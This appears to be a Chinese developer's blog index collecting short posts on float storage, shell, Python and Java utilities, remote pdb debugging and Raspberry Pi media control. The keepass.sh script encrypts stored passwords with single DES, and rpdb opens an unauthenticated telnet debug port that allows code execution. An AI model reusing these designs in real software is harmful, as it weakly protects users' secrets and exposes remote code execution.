stone2083

2008年9月21日 #

Camunda学习点滴

     摘要: 1. 主要包括:
架构总览、核心概念关系、场景例子、源码分析
2. 建议阅读顺序
2.1 从架构总览,了解整体camunda概念,包括DB表结构,内心有概念和底层存储的关系映射
2.2 再解核心概念关系,建立业务概念、代码模型、表结构的映射关系
2.3 通过场景例子,了解不同概念的使用场景,配置
2.4 通过源码分析,了解底层实现,方便必要时对其做扩展  阅读全文

posted @ 2022-05-16 10:10 stone2083 阅读(823) | 评论 (0)编辑 收藏

IEEE 754 浮点存储小记

IEEE 754:

https://zh.wikipedia.org/wiki/IEEE_754


FLOAT:

31  30         22       15          7          0

+---+----------+---------+----------+----------+

|   |          |                               |

+---+----------+---------+----------+----------+

+ S +     E    +               M               +


EXAMPLE(5.5):

=============================

int main() {

    float a = 5.5;

    int *p = &a;

    printf("%d\n", *p);

    printf("%X\n", *p);

}


gcc -o main main.c; ./main

十进制:    1085276160

十六进制:  40B00000

=============================



十进制 = 二进制 = 二进制指数形式

5.5    = 101.1  = 1.011 * 2^2


==> S=0 E=2 M = 11


31  30         22       15          7          0

+---+----------+---------+----------+----------+

| 0 | 10000001 | 0110000 | 00000000 | 00000000 |

+---+----------+---------+----------+----------+

+ S +     E    +               M               +


转换成INT:

二进制:    01000000101100000000000000000000

十进制:    1085276160

十六进制:  40B00000



EXAMPLE(5.1):

===========================================

int main() {

    float a = 5.1;

    int *p = &a;

    printf("Float:\t%f\n", a);

    printf("十进制:\t%d\n", *p);

    printf("十六进制:\t%X\n", *p);

}


gcc -o main main.c; ./main

Float:    5.100000

十进制:    1084437299

十六进制:  40A33333

===========================================


存储形式:0b01000000101000110011001100110011

有效尾数:01000110011001100110011

表达方式:1.01000110011001100110011 * 2^2 ==> 101.000110011001100110011


101 ==> 5

0.000110011001100110011 ==> 2^-4 + 2^-5 + 2^-8 + 2^-9 + 2^-12 + 2^-13 + 2^-16 + 2^-17 + 2^-20 + 2^-21


实际表达:      5.09999990463256836

保留6位小数:   5.100000

posted @ 2017-10-12 11:23 stone2083 阅读(955) | 评论 (0)编辑 收藏

socks协议+netty实现(协议部分)

posted @ 2016-09-08 12:51 stone2083 阅读(2032) | 评论 (0)编辑 收藏

docker overlay network

     摘要: docker overlay network  阅读全文

posted @ 2015-10-21 15:14 stone2083 阅读(6067) | 评论 (0)编辑 收藏

四张图了解iptables原理和使用

     摘要: 四张图了解iptables原理和使用  阅读全文

posted @ 2015-05-08 13:01 stone2083 阅读(8922) | 评论 (0)编辑 收藏

mykeepass for command line

命令行下的类似keepass一个东东.

如何使用
Command line for Keep Password.
Usage:
  keepass.sh -l
  keepass.sh -e plain-text
  keepass.sh -d encoded-text
  keepass.sh -s encoded-text name

-l
展示保存下所有加密后的密码信息
-e
将明文密码, 加密, 密文自动保存到剪切板上
-d
将密文界面, 解密后的明文自动保存到剪切板上
-s
将密文持久化保存到文件中

代码实现
#!/bin/sh

DATA="$HOME/.password/data"
declare -a passwords

function enc()
{
    #$1: plain text
    echo "$1" | openssl enc -des | base64
}

function dec()
{
    #$1: encoded text
    echo "$1" | base64 -D | openssl enc -des -d
}

function sync()
{
    for ((loop=0;loop<${#passwords[*]};loop++))
    do
        if [ -z "${passwords[$loop]}" ];then
            continue
        fi
        value="$value\n${passwords[$loop]}"
    done
    echo $value > $DATA
}

function save()
{
    #$1 encoded password
    #$2 name
    for ((loop=0; loop<${#passwords[*]}; loop++))
    do
        info=${passwords[$loop]}
        password=$(echo $info | awk '{print $1}')
        name=$(echo $info | awk '{print $2}')
        if [ "$2" == "$name" ];then
            passwords[$loop]="$1 $2"
            return
        fi
    done
    passwords[$loop]="$1 $2"

    sync
}

function delete()
{
    #$1: name
    for ((loop=0; loop<${#passwords[*]}; loop++))
    do
        info=${passwords[$loop]}
        password=$(echo $info | awk '{print $1}')
        name=$(echo $info | awk '{print $2}')
        if [ "$1" == "$name" ];then
            passwords[$loop]=""
        fi
    done

    sync
}

function list()
{
    for ((loop=0;loop<${#passwords[*]};loop++))
    do
        echo ${passwords[$loop]}
    done
}

function help()
{
    echo "Command line for Keep Password.
Usage:
  keepass.sh -l
  keepass.sh -e plain-text
  keepass.sh -d encoded-text
  keepass.sh -s encoded-text name"
}

function init()
{
    loop=0
    while read line
    do
        if [ -z "$line" ];then
            continue
        fi
        passwords[$loop]=$line
        loop=$(echo $loop+1 | bc)
    done < $DATA
}

init
case "$1" in
    -l)
        list
        ;;
    -e)
        enc "$2" | tr -d '\n' | pbcopy
        ;;
    -d)
        dec "$2" | tr -d '\n' | pbcopy
        ;;
    -s)
        save "$2" "$3"
        ;;
    -r)
        delete "$2"
        ;;
    *)
        help
        ;;
esac

备注:
1. 纯shell打造
2. 目前支持Mac shell, 理论上支持linux系统(唯一的改动, 把pbcopy改成linux下剪切板复制的命令即可)


posted @ 2014-11-06 14:45 stone2083 阅读(5932) | 评论 (2)编辑 收藏

SCP限速逻辑实现--带中文注释的bandwidth_limit函数

SCP限速逻辑实现--带中文注释的bandwidth_limit函数

SCP支持限速, 通过-l参数, 指定拷贝的速度
 -l limit
             Limits the used bandwidth, specified in Kbit/s.

具体实现, 是在misc.c中的bandwidth_limit函数
下面附上带中文注释的bandwidth_limit函数代码
 1 struct bwlimit {
 2     size_t buflen;                 // 每次read的buf长度
 3     u_int64_t rate, thresh, lamt;  // rate:  限速速率, 单位kpbs
 4                                    // thresh:统计周期,read长度到了指定阈值, 触发限速统计
 5                                    // lamt:  一次统计周期内, read了多少长度
 6     struct timeval bwstart, bwend; // bwstart: 统计周期之开始时间
 7                                    // bwend:   统计周期之结束时间
 8 };
 9 
10 void bandwidth_limit_init(struct bwlimit *bw, u_int64_t kbps, size_t buflen)
11 {
12     bw->buflen = buflen;          // 初始化read buf长度
13     bw->rate = kbps;              // 初始化限速速率
14     bw->thresh = bw->rate;        // 初始化统计周期
15     bw->lamt = 0;                 // 初始化当前read长度
16     timerclear(&bw->bwstart);     // 初始化统计开始时间
17     timerclear(&bw->bwend);       // 初始化统计结束时间
18 }
19 
20 void bandwidth_limit(struct bwlimit *bw, size_t read_len)
21 {
22     u_int64_t waitlen;
23     struct timespec ts, rm;
24 
25     // 设置统计开始时间, 为当前时间
26     if (!timerisset(&bw->bwstart)) {
27         gettimeofday(&bw->bwstart, NULL);
28         return;
29     }
30 
31     // 设置当前read长度
32     bw->lamt += read_len;
33     // 判断当前read长度是否到达统计周期的阈值
34     if (bw->lamt < bw->thresh)
35         return;
36 
37     // 设置统计结束时间,为当前时间
38     gettimeofday(&bw->bwend, NULL);
39     // bwend变量复用, 这个时候, bwend含义为, 本次统计周期实际开销的时间: 既read thresh长度字节,花了多少时间.
40     timersub(&bw->bwend, &bw->bwstart, &bw->bwend);
41     if (!timerisset(&bw->bwend))
42         return;
43 
44     // 将单位从Byte变成bit
45     bw->lamt *= 8;
46     // 根据限速速率, 计算理论应该花费多少时间
47     waitlen = (double)1000000L * bw->lamt / bw->rate;
48     // bwstart变量复用, 这个时候, bwstart含义为, 本次统计周期理论开销的时间
49     bw->bwstart.tv_sec = waitlen / 1000000L;
50     bw->bwstart.tv_usec = waitlen % 1000000L;
51 
52     // 如果理论开销时间 >  实际开销时间, 则需要做限速
53     if (timercmp(&bw->bwstart, &bw->bwend, >)) {
54         // bwend变量复用, 这个时间, bwend含义为, 理论开销时间 和 实际开销时间的差值, 既需要sleep的时间, 确保达到限速到指定的rate值
55         timersub(&bw->bwstart, &bw->bwend, &bw->bwend);
56 
57         // 如果差值达到了秒级, 则需要降低统计周期阈值, 确保统计相对精确
58         // thresh变为原先的1/2, 但不能低于buflen的1/4
59         if (bw->bwend.tv_sec) {
60             bw->thresh /= 2;
61             if (bw->thresh < bw->buflen / 4)
62                 bw->thresh = bw->buflen / 4;
63         } 
64         // 如果差值小于10毫秒, 则需要加大统计周期阈值, 确保统计相对精确
65         // thresh变为原先的2倍, 但不能高于buflen的8倍
66         else if (bw->bwend.tv_usec < 10000) {
67             bw->thresh *= 2;
68             if (bw->thresh > bw->buflen * 8)
69                 bw->thresh = bw->buflen * 8;
70         }
71 
72         // 乖乖的睡一会吧, 以达到限速目的
73         TIMEVAL_TO_TIMESPEC(&bw->bwend, &ts);
74         while (nanosleep(&ts, &rm) == -1) {
75             if (errno != EINTR)
76                 break;
77             ts = rm;
78         }
79     }
80 
81     // 新的统计周期开始, 初始化lamt, bwstart变量
82     bw->lamt = 0;
83     gettimeofday(&bw->bwstart, NULL);
84 }

posted @ 2014-09-22 17:45 stone2083 阅读(2787) | 评论 (4)编辑 收藏

将图片转成HTML格式--原理&代码

之前的文章,因为贴了效果图,导致无法编辑。
@see http://www.blogjava.net/stone2083/archive/2013/12/20/407807.html

原理

使用table,tr/td作为一个像素点,画点。



代码

 2 import sys, optparse, Image
 3 
 4 TABLE='<table id="image" border="0" cellpadding="0" cellspacing="0">%s</table>'
 5 TR='<tr>%s</tr>'
 6 TD='<td width="1px;" height="1px;" bgcolor="%s"/>'
 7 
 8 def rgb2hex(rgb):
 9     return '#{:02x}{:02x}{:02x}'.format(rgb[0],rgb[1],rgb[2])
10 
11 def get_image(name, thumbnail=1):
12     if(thumbnail >= 1 or thumbnail <= 0): 
13         return Image.open(name)
14     else:
15         img = Image.open(name)
16         return img.resize((int(img.size[0] * thumbnail),int(img.size[1] * thumbnail)))
17 
18 def convert(img):
19     trs = []
20     for height in xrange(img.size[1]):
21         tds = []
22         for width in xrange(img.size[0]):
23             tds.append(TD % rgb2hex(img.getpixel((width, height))))
24         trs.append(TR % (''.join(tds)))
25     return TABLE % (''.join(trs),)
26 
27 parser = optparse.OptionParser('Usage: %prog [options] image')
28 parser.add_option('-c''--compress', dest='thumbnail', default='1', metavar='float', help='specify the compress value (0, 1)')
29 parser.add_option('-o''--out', dest='out', default='out.html', help='specify the output file')
30 opts, args = parser.parse_args()
31 
32 if(len(args) != 1): 
33     parser.print_help()
34     sys.exit(-1)
35 
36 html = open(opts.out,'w')
37 html.write(convert(get_image(args[0], float(opts.thumbnail))))
38 html.close()

下载地址 

https://code.google.com/p/stonelab/downloads/detail?name=img2html.py#makechanges

posted @ 2013-12-20 14:28 stone2083 阅读(3449) | 评论 (0)编辑 收藏

将图片转成HTML格式--用HTML画图

     摘要: 介绍 img2html,将图片转成HTML格式。 用HTML来画图。 效果 原始图片 转成HTML后的效果(压缩1倍后的效果--主意:请查看html源码,这边没有src图片属性,全是通过html代码渲染) ...  阅读全文

posted @ 2013-12-20 14:18 stone2083 阅读(3079) | 评论 (0)编辑 收藏

pystack--python stack trace--让python打印线程栈信息

pystack: python stack trace. 类似java中的jstack功能.
使用方式:
1. https://pypi.python.org/pypi/pdbx/0.3.0 下载, 或者直接通过easyinstall安装
2. python scripts中, import pdbx; pdbx.enable_pystack(); 开启pystack功能
3. kill -30 pid , 就可以打印stack信息了. 
如:
"CP Server Thread-10" tid=4564467712
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-9" tid=4560261120
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-1" tid=4526608384
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-7" tid=4551847936
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-4" tid=4539228160
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-2" tid=4530814976
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"MainThread" tid=140735286018432
    at app.run()(raspctl.py:173)
    at return wsgi.runwsgi(self.wsgifunc(*middleware))(application.py:313)
    at return httpserver.runsimple(func, validip(listget(sys.argv, 1, '')))(wsgi.py:54)
    at server.start()(httpserver.py:157)
    at self.tick()(__init__.py:1765)
    at s, addr = self.socket.accept()(__init__.py:1800)
    at sock, addr = self._sock.accept()(socket.py:202)
    at pystack()(pdbx.py:181)
    at for filename, lineno, _, line in traceback.extract_stack(stack):(pdbx.py:169)

"CP Server Thread-5" tid=4543434752
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-8" tid=4556054528
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-3" tid=4535021568
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)

"CP Server Thread-6" tid=4547641344
    at self.__bootstrap_inner()(threading.py:525)
    at self.run()(threading.py:552)
    at conn = self.server.requests.get()(__init__.py:1367)
    at self.not_empty.wait()(Queue.py:168)
    at waiter.acquire()(threading.py:244)


核心代码:
# pystack
def pystack():
    for tid, stack in sys._current_frames().items():
        info = []
        t = _get_thread(tid)
        info.append('"%s" tid=%d' % (t.name, tid))
        for filename, lineno, _, line in traceback.extract_stack(stack):
            info.append('    at %s(%s:%d)' % (line, filename[filename.rfind('/') + 1:], lineno))
        print '\r\n'.join(info)
        print ''

def _get_thread(tid):
    for t in threading.enumerate():
        if t.ident == tid:
            return t
    return None

def _pystack(sig, frame):
    pystack()

def enable_pystack():
    signal.signal(signal.SIGUSR1, _pystack)

有需要的朋友,赶紧拿走吧.

posted @ 2013-08-19 13:15 stone2083 阅读(8451) | 评论 (0)编辑 收藏

获得Java对象内存占用大小

懒惰,直接上代码,用法见JAVA DOC.
  1 package com.alibaba.stonelab.javalab.jvm.sizeof;
  2 
  3 import java.lang.instrument.Instrumentation;
  4 import java.lang.reflect.Array;
  5 import java.lang.reflect.Field;
  6 import java.lang.reflect.Modifier;
  7 import java.util.IdentityHashMap;
  8 import java.util.Map;
  9 import java.util.Stack;
 10 
 11 /**
 12  * <pre>
 13  * 1. MANIFEST.MF
 14  *      Premain-Class: xxx.yyy.zzz.JavaSizeOf
 15  * 
 16  * 2. MAIN.JAVA
 17  *         System.out.println(JavaSizeOf.sizeof(new ConcurrentHashMap<Object, Object>()));
 18  *         System.out.println(JavaSizeOf.sizeof(new String("1234567")));
 19  *         System.out.println(JavaSizeOf.sizeof(new String("1234")));
 20  *         System.out.println(JavaSizeOf.sizeof(new Object()));
 21  *         System.out.println(JavaSizeOf.sizeof(new int[] { 1, 2, 3 }));
 22  *         System.out.println(JavaSizeOf.sizeof(new CopyOnWriteArrayList<Object>()));
 23  *         System.out.println(JavaSizeOf.sizeof(null));
 24  *         
 25  * 3. USAGE:
 26  *      java -javaagent:sizeof.jar xxx.yyy.zzz.Main
 27  * </pre>
 28  * 
 29  * @author <a href="mailto:li.jinl@alibaba-inc.com">Stone.J</a> 2013-6-8
 30  */
 31 public class JavaSizeOf {
 32 
 33     private static Instrumentation inst;
 34 
 35     public static void premain(String agentArgs, Instrumentation inst) {
 36         JavaSizeOf.inst = inst;
 37     }
 38 
 39     /**
 40      * get size of java object.
 41      * 
 42      * @param o
 43      * @return
 44      */
 45     public static long sizeof(Object o) {
 46         assert inst != null;
 47         Map<Object, Object> visited = new IdentityHashMap<Object, Object>();
 48         Stack<Object> visiting = new Stack<Object>();
 49         visiting.add(o);
 50         long size = 0;
 51         while (!visiting.isEmpty()) {
 52             size += analysis(visiting, visited);
 53         }
 54         return size;
 55     }
 56 
 57     /**
 58      * analysis java object size recursively.
 59      * 
 60      * @param visiting
 61      * @param visited
 62      * @return
 63      */
 64     protected static long analysis(Stack<Object> visiting, Map<Object, Object> visited) {
 65         Object o = visiting.pop();
 66         if (skip(o, visited)) {
 67             return 0;
 68         }
 69         visited.put(o, null);
 70         // array.
 71         if (o.getClass().isArray() && !o.getClass().getComponentType().isPrimitive()) {
 72             if (o.getClass().getName().length() != 2) {
 73                 for (int i = 0; i < Array.getLength(o); i++) {
 74                     visiting.add(Array.get(o, i));
 75                 }
 76             }
 77         }
 78         // object.
 79         else {
 80             Class<?> clazz = o.getClass();
 81             while (clazz != null) {
 82                 Field[] fields = clazz.getDeclaredFields();
 83                 for (Field field : fields) {
 84                     if (Modifier.isStatic(field.getModifiers())) {
 85                         continue;
 86                     }
 87                     if (field.getType().isPrimitive()) {
 88                         continue;
 89                     }
 90                     field.setAccessible(true);
 91                     try {
 92                         visiting.add(field.get(o));
 93                     } catch (Exception e) {
 94                         assert false;
 95                     }
 96                 }
 97                 clazz = clazz.getSuperclass();
 98             }
 99         }
100         return inst.getObjectSize(o);
101     }
102 
103     /**
104      * <pre>
105      * skip statistics.
106      * </pre>
107      * 
108      * @param o
109      * @param visited
110      * @return
111      */
112     protected static boolean skip(Object o, Map<Object, Object> visited) {
113         if (o instanceof String) {
114             if (o == ((String) o).intern()) {
115                 return true;
116             }
117         }
118         return o == null || visited.containsKey(o);
119     }
120 
121 }
122 

posted @ 2013-06-08 17:32 stone2083 阅读(7911) | 评论 (1)编辑 收藏

rpdb更名为pdbx并发布到pypi

rpdb更名为pdbx,发布到pypi
https://pypi.python.org/pypi/pdbx

posted @ 2013-03-23 16:11 stone2083 阅读(2148) | 评论 (0)编辑 收藏

RPDB V0.2.0 Release (值得推广)

软件已更新,最新请查看:https://code.google.com/p/stonelab/wiki/pdbx


原文:https://code.google.com/p/stonelab/wiki/RemotePDB

软件介绍

rpdb:远程PDB调试工具,是对pdb的扩展。 

在pdb基础上,做了功能加强,主要特性如下:

1. 兼容pdb一切语法和使用习惯 

2. 增加了远程调试功能, 允许你客户端通过telnet连接到指定调试端口,进行远程调试 

3. 增加了rq/rquit命令,支持安全退出模式,避免默认的quik会导致python程序异常退出的情况 

4. 允许多次调试 

5. 增加suspend模式,在启动时强制或者非强制进入断点 

posted @ 2013-03-22 17:23 stone2083 阅读(2526) | 评论 (0)编辑 收藏

RPDB-让PDB(Python调试工具)支持远程调试功能

软件已更新,最新请查看:https://code.google.com/p/stonelab/wiki/pdbx

软件介绍

rpdb扩展了pdb,让pdb支持远程调试功能。

使用了rpdb的python脚本在远程启动,本地通过telnet方式连接上rpdb提供的调试端口,接下来的操作和本地完全一致。

使用说明

  • 下载
  • wget https://stonelab.googlecode.com/files/rpdb-0.1.0.tar.gz 

    有两个文件:rpdb.py:扩展pdb的类库; example.py 演示程序
  • 安装
  • 将rpdb.py拷贝到PYTHONPATH即可,或者直接拷贝rpdb.py上内容到你的python脚本即可(程序非常小巧,30+代码行)
  • 演示
  • pdb = Rpdb()         # 类似于pdb=Pdb()
    pdb = Rpdb(8787) # 指定远程调试端口号
    pdb.set_trace() #设置断点
    如example.py中程序:
    #!/usr/bin/python

    from rpdb import Rpdb
    from random import randint
    from time import sleep

    def add(i, j):
        r
    = i + j
       
    return r

    def main():
        pdb
    = Rpdb()
       
    # pdb = Rpdb(9999) # debug port:9999
        pdb
    .set_trace()
       
    while True:
            i
    = randint(1,10)
            j
    = randint(1,10)
            r
    = add(i, j)
           
    print r
            sleep
    (1)

    if __name__ == '__main__':
        main
    ()
    本地终端输入: telnet xxx.xxx.xxx.xxx 8787
    telnet 127.0.0.1 8787
    Trying 127.0.0.1...
    Connected to localhost.
    Escape character is '^]'.
    > /Users/stone/Tmp/baidu/rpdb/example.py(15)main()
    -> while True:
    (Pdb) l
     
    10    
     
    11     def main():
     
    12         pdb = Rpdb()
     
    13         # pdb = Rpdb(9999) # debug port:9999
     
    14         pdb.set_trace()
     
    15 ->     while True:
     
    16             i = randint(1,10)
     
    17             j = randint(1,10)
     
    18             r = add(i, j)
     
    19             print r
     
    20             sleep(1)
    (Pdb) n
    > /Users/stone/Tmp/baidu/rpdb/example.py(16)main()
    -> i = randint(1,10)
    (Pdb) b 19
    Breakpoint 1 at /Users/stone/Tmp/baidu/rpdb/example.py:19
    (Pdb) c
    > /Users/stone/Tmp/baidu/rpdb/example.py(19)main()
    -> print r
    (Pdb) p r
    11
    (Pdb) q
    Connection closed by foreign host.
    操作和pdb完全一致。

PDB常用命令

命令介绍
h(elp) command?输入h或者help 列出pdb支持的所有命令, h command? 介绍指定命令
w(here)列出当前调试所在行,一般会使用 l(ist)
l(ist) [first[, last]]列出源代码信息
s(tep)进入函数体
n(ext)执行下一行代码
c(ont(inue))继续,直到遇到下一个断点
r(eturn)执行到函数体结束那行
b(reak)设置断点,可以是代码行号,方法名, 还可以加进入条件
tbreak设置临时断点,进入一次后,自动消失
cl(ear)取消断点
disable让断点失效
enable让断点生效
ignore忽略断点n次
condition给断点添加条件,符合条件的才进入断点
j(ump) lineno跳掉指定行
a(rgs)打印函数体参数信息
p expression打印变量
pp expression同上,打印得漂亮一些
! statement执行代码,非常有用,可用来修改变量值
q(uit)退出调试(pdb的quit很黄很暴力)

posted @ 2013-03-21 16:19 stone2083 阅读(9842) | 评论 (0)编辑 收藏

分享几个小工具--推荐给Linux的用户

自己写的几个小工具,分享给需要的人:

https://code.google.com/p/stonelab/wiki/BaiduMp3
百度MP3批量下载工具

https://code.google.com/p/stonelab/wiki/FileConvertor
文件编码转换工具

https://code.google.com/p/stonelab/wiki/MyZip
扩展zip命令,支持文件名编码

https://code.google.com/p/stonelab/wiki/Translate
命令行下的翻译软件

https://code.google.com/p/stonelab/wiki/HostsX
扩展Hosts,别名DnsProxy,DNS代理服务

posted @ 2013-03-19 15:12 stone2083 阅读(3577) | 评论 (0)编辑 收藏

BaiduMp3--基于命令行的百度MP3批量下载工具

原文:https://code.google.com/p/stonelab/wiki/BaiduMp3

软件介绍

BaiduMp3,基于命令行下的百度MP3歌曲批量下载工具。

主要支持功能:

  • 搜索 根据关键词搜索匹配的歌曲
  • 下载 根据搜索出来的歌曲ID,下载到本地指定目录
  • 批量下载 根据关键词,批量下载匹配的歌曲,到本地指定目录

软件使用

  • 命令参数介绍
  • Usage: baidump3.py [options]

    Options:
      -h, --help            show this help message and exit
      -m MODE, --mode=MODE  specifies the command mode
                            [list|download|multidownload]
      -o OUTPUT, --output=OUTPUT
                            specifies the output dir for download
      -p PAGE, --page=PAGE  specifies the list page
      -k KEY, --key=KEY     specifies the mp3 keyworld
      -f FROMPAGE, --from=FROMPAGE
                            specifies the from page for multidownload
      -t TOPAGE, --to=TOPAGE
                            specifies the end page for multidownload
  • 搜索
  • 通过-m list指定为搜索模式 -k参数指定搜索关键词,-p关键词指定分页页面号,默认一页显示20条数据。

    比如:./baidump3.py -m list -k 70后 -p 2 

    效果:
    ./baidump3.py -m list -k 70 -p 2
    Total: 1000 Page:2
    1007797 刘若英                   为爱痴狂
    2067170 姜育恒                   别让我一个人醉
    209442    彭佳慧                   相见恨晚
    2121730 杨钰莹,毛宁                心雨
    216206    许美静                   蔓延
    226444    陈淑桦                  
    253833    张学友                   秋意浓
    274172    张学友                   三天两夜
    580824    孟庭苇                   伤了你的心的我伤心
    582858    莫文蔚                   电台情歌
    650924    姜育恒                   其实我真的很在乎
    7274415 满文军                   我需要你
    7277793 林志炫                   单身情歌
    7280177 林志炫                   离人
    7302437 李寿全                   张三的歌
    844889    陈淑桦                   流光飞舞
    1039139 王菲                    容易受伤的女人
    1243712 罗大佑                   恋曲1980
    2076242 李宗盛                   我是一只小小鸟
    2121739 杨钰莹                   轻轻的告诉你
  • 下载
  • 通过-m download指定为下载模式 -k参数指定下载歌曲ID号 -o参数指定下载路径,默认为当前目录。

    比如:./baidump3.py -m download -k 1007797 -o ~/Tmp/ 

    效果:
    Downloading >>> 为爱痴狂.mp3
  • 批量下载
  • 通过-m multidownload指定为批量下载模式 -k参数指定歌曲关键词, -o参数指定下载路径(默认位为当前目录), -f参数指定下载开始页面(默认为第一页), -t参数指定下载结束页面(默认为搜索到的最后一页)

    比如:./baidump3.py -m multidownload -k 70后 -o ~/Tmp/baidu -f 2 -t 3 

    效果:
     MultiDownloading Page 2
    Downloading >>> 为爱痴狂.mp3
    Downloading >>> 别让我一个人醉.mp3
    Downloading >>> 相见恨晚.mp3
    Downloading >>> 蹇冮洦.mp3
    Downloading >>> 蔓延.mp3
    Downloading >>> 问.mp3
    Downloading >>> 秋意浓.mp3
    Downloading >>> 三天两夜.mp3
    Downloading >>> 伤了你的心的我伤心.mp3
    Downloading >>> 电台情歌.mp3
    Downloading >>> 其实我真的很在乎.mp3
    Downloading >>> 鎴戦渶瑕佷綘.mp3
    Downloading >>> 单身情歌.mp3
    Downloading >>> 离人.mp3
    Downloading >>> 张三的歌.mp3
    Downloading >>> 流光飞舞.mp3
    Downloading >>> 容易受伤的女人.mp3
    Downloading Fail.
    Downloading >>> 我是一只小小鸟.mp3
    Downloading >>> 轻轻的告诉你.mp3
    MultiDownloading Page 3
    Downloading >>> 孟婆汤.mp3
    Downloading >>> 情书.mp3
    Downloading >>> 橄榄树.mp3
    Downloading >>> 选择.mp3
    Downloading >>> 结束不是我要的结果.mp3
    Downloading >>> 鍛抽亾.mp3
    Downloading >>> 来生缘.mp3
    Downloading >>> 相思风雨中.mp3
    Downloading >>> 你我的爱只能擦肩而过.mp3
    Downloading >>> 忘情水.mp3
    Downloading >>> 爱如潮水.mp3
    Downloading >>> 特别的爱给特别的你.mp3
    Downloading >>> 千千阙歌.mp3
    Downloading >>> 涛声依旧.mp3
    Downloading >>> Hotel California.mp3
    Downloading >>> Roll Away The Stone.mp3
    Downloading >>> Peace Train.mp3
    Downloading >>> Have You Never Been Mellow.mp3
    Downloading >>> Hot Stuff.mp3
    Downloading >>> Rock The Boat.mp3
    备注: 有小概率会出现乱码,以及小小概率出现下载失败。

posted @ 2013-03-19 11:28 stone2083 阅读(1883) | 评论 (0)编辑 收藏

RaspCTL V0.1.1 Released

增加网络视频播放功能:
使用百度视频搜索
支持优酷,迅雷看看,PPS,乐视,CNTV,电影网,风行网视频



主要功能界面:

posted @ 2013-01-18 16:59 stone2083 阅读(1413) | 评论 (0)编辑 收藏

RaspCTL V0.1.0 Released

转自:https://code.google.com/p/stonelab/wiki/RaspCTL
COPY过来格式比较乱,将就地看吧。原文直接看googlecode wiki吧 :)

什么是RaspCTL
RaspCTL是Raspberry Pi和Control字母的组合,表示树莓派控制端。 RaspCTL是一款通过手机终端(泛义上包括手机,平板,电脑等设备)控制树莓派的软件。
目前,通过Raspberry&RaspCTL组合,打造成家庭多媒体播放机顶盒,在此场景中,RaspCTL非常类似XBMC平台。未来,会不断扩展RaspCTL功能,成为控制家庭物联网的设备中心,比如控制摄像头,空调开关等。此乃后话,按下不表。


为什么选择Raspberry Pi&RaspCTL
为什么选择Raspberry Pi

我们先来看看Raspberry Pi的相关参数:

CPU 700 MHz, ARM1176JZF-S
GPU(显卡) Broadcom VideoCore? IV,OpenGL ES 2.0, 1080p30 h.264/MPEG-4 AVC high-profile decoder
MEM(内存) 512M
分辨率 1080P
输出接口 1*SD口 2*USB口 1*音频口 1*HDMI口 1*网卡
尺寸 85.6 x 53.98 x 17mm (一张信用卡大小)
价格 $35


好吧,一起来总结下Raspberry Pi的优势吧

  • 小巧:只有一张信用卡大小
  • GPU强悍: 硬解1080P,30帧/S,通俗地将,差不多是iphone4S手机的2倍性能
  • 输出接口丰富: 包括2*USB,1*HDMI
  • 性价比高:$35

    从这些特性看,Raspberry非常合适充当高清视频播放机顶盒,来替代目前的华数机顶盒(华数官方垄断,费用高,质量差)。 家庭中,只要购置了Raspberry Pi和宽带,高清电影电视,免费看。 :)

为什么选择RaspCTL
只有一个原因:Raspberry Pi CPU很弱:700MHZ。 同样,我们来看一组数据:

  • Raspbian Terminal下 CPU LOAD在0.2左右
  • Raspbian XWindows下, CPU占用率差不多在70%以上
  • XBian下,CPU占用率在95%以上
    如果,Raspberry Pi CPU能强悍那么一点点,那么XBian一定是首选,我也不会重新创造RaspCTL这个轮子了。只是目前,XBMC在Raspberry Pi(XBian)上的性能太糟糕了。 从数据看,只有在Raspbian Terminal下的性能,才能符合用户的期望,所以作者编写了RaspCTL这个控制端。通过手机终端的界面,来操作Raspbian Terminal,实现多媒体播放的功能。

RaspCTL(V0.1.0)功能特性

  1. 支持视屏,音频播放
    • 支持播放,暂停,停止,快进,快退,播放列表,上一首,下一首等
  2. 支持本地文件查看
    • 查看多媒体文件
  3. 配置系统信息
    • 配置多媒体文件根路径等
  4. 视频网站真实URL分析
    • 支持包括优酷,土豆,迅雷,百度等82个网站视频URL分析
  5. 制定Plugins规范
    • 可非常方便开发RaspCTL Pugin

使用者文档

如何安装RaspCTL

  1. 下载RaspCTL
    1. 下载,解压到指定目录
    2. 或者直接使用svn地址: svn co https://stonelab.googlecode.com/svn/tags/raspctl-0.1.0 RaspCTL
  2. 安装RaspCTL
    1. chmox +x bin/install.sh; bin/install.sh
    2. 会自动安装RaspCTL依赖的第三方库,主要是python-webpy python-jinja2 python-pexpect依赖

如何使用RaspCTL

  1. 启动RaspCTL服务
  2. 关闭RaspCTL服务
    • bin/shutdown.sh

常见问题

  • Q:如何自启动RaspCTL服务
